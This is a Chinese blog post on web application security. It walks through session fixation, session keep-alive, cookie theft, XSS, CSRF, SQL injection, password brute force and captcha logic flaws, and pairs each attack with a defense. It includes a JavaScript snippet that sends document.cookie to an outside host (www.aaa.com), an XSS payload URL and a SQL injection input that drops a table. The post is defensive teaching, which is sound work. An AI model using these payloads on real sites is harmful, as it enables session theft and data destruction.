• 你的应用安全吗?应用安全问题知多少?


    你的应用安全吗?应用安全问题知多少?

    安全问题

    安全问题的本质是信任的问题

    比如启停tomcat用户要非root用户,是我们信任linux的用户权限机制,即使tomcat被攻破,但也无法获取root用户权限。

    比如我们对数据进行aes加密,是对aes算法的信任。

    所有的安全都是基于一定的信任体系去构建,也说明安全本身是一个持续的过程,比如aes算法不再安全,就需要我们重新去构建安全。

    所以安全不是一劳永逸的,而是持续的过程。

    接下来给大家分享一些安全的攻击手段和防御手段,供大家参考。

    Session Fixation攻击

    1. 描述
      为用户定制SessionID

    2. 攻击手段
      攻击者X先获取一个未经认证的SessionID,
      再把应用url带上该SessionId(http://www.xxx.com/index;jsessionid=1pjztz08i2u4i)交给用户Y去认证,
      用户Y完成认证后,接下来攻击者X直接凭借当前的SessionID(1pjztz08i2u4i),以Y的身份进行操作。

    3. 防御手段
      登陆成功后,更新用户的sessionID,旧的失效。

    Session保持攻击

    1. 描述
      一直访问,让Session一直有效,可以一直越权访问;

    2. 攻击手段
      攻击者获取用户的sessionID后,用程序一直访问应用,让该sessionID不超时,使得该sessionID一直保持有效。

    3. 防御手段
      强制销毁Session,比如1天或者1小时后强制Session过期。

    cookie盗取

    1. 描述
      盗取用户的cookie信息

    2. 攻击手段

    var img =document.createElement("img");
    img.src=“http://www.aaa.com/log?+escape(document.cookie);
    document.body.appendChild(img);
    
    • 1
    • 2
    • 3
    • 4

    www.aaa.com服务器将会收到用户的cookie信息

    1. 防御手段
      服务端response增加HttpOnly属性,让js无法获取cookie信息

    XSS攻击

    1. 描述
      XSS跨站脚本攻击,恶意web用户将代码植入到提供给其他用户使用的页面中。

    2. 攻击手段
      比如通过管理端的一些输入框,富文本编辑框,输入攻击代码,保存,再在别的页面显示的时候执行代码。

    前面提到的cookie盗取,就是一种xss攻击,
    还可以控制受害者机器向其它网站攻击。

    http://site/index.html?name=<script>alert(document.cookie)</script>
    
    • 1
    1. 防御手段
      • 请求参数过滤验证;非法字符不允许提交
      • 页面输出转义;使代码只是普通字符串展示,而不被执行。
      • 对cookie设置httpOnly;

    跨站请求伪造CSRF

    1. 描述
      一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法

    2. 攻击手段
      用户登陆成功后,诱使用户执行http://site/user.html?m=delete&id=1234;比如通过qq发送连接,用户点击后,
      在用户不知情下执行了delete操作。

    3. 防御手段
      涉及数据变更的业务都增加Token值,验证码,Referer保护。
      HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。

    Sql注入

    1. 描述
      Sql语句的注入攻击;

    2. 攻击手段

    --查询功能:
    Select * from user where name=‘”+key+” ‘”;
    --攻击者输入’;drop table user;--
    
    • 1
    • 2
    • 3

    直接删除user表。

    1. 防御手段
      • sql不允许拼装,采用PreparedStatement(预处理执行语句);
      • 请求参数过滤sql关键字;

    密码暴力破解

    1. 描述
      攻击者对密码尝试暴力破解

    2. 攻击手段
      攻击者通过程序代码不断组合密码尝试登陆或者交易

    3. 防御手段

      • 增加图形验证码,短信验证码等手段;
      • 密码最大错误次数设定;

    验证码逻辑漏洞

    1. 描述
      图形验证码或者短信验证码未及时清除,导致安全问题

    2. 攻击手段
      如果比对过的验证码未及时清除,一直使用同一个验证码,容易让攻击者进行暴力访问破解

    3. 防御手段
      使用过的验证码不管验证通过和不通过,都要及时清除验证码;
      还是经常会遇到这样的逻辑漏洞,加入分享当中。

    最后

    今天先分享这几个安全问题,下期继续。
    安全的问题,很多内部的管理台应用非常不重视,觉得是内网的应用安全不需要,夸张点的连登录密码都是完全明文的。
    只能说没安全问题大家都好,出了安全问题有时候连后悔的机会都没了。
    请重视安全的问题!

  • 相关阅读:
    Visual Paradigm 里什么是复合结构图?
    Cache与内存映射
    OpenAI开源全新解码器,极大提升Stable Diffusion性能
    华为机试 - 判断一组不等式是否满足约束并输出最大差
    零号培训平台课程-1、SQL注入基础
    如何安装Jmeter监控服务器资源插件(JMeterPlugins + ServerAgent 方法一)?
    PMP每日一练 | 考试不迷路-8.25(包含敏捷+多选)
    大家这么喜欢这件羽绒服的吗?眼光太好啦
    动态规划 | 完全背包问题笔记 | 代码随想录
    卧式钢筋切割机设计
  • 原文地址:https://blog.csdn.net/yuoveyu/article/details/127939303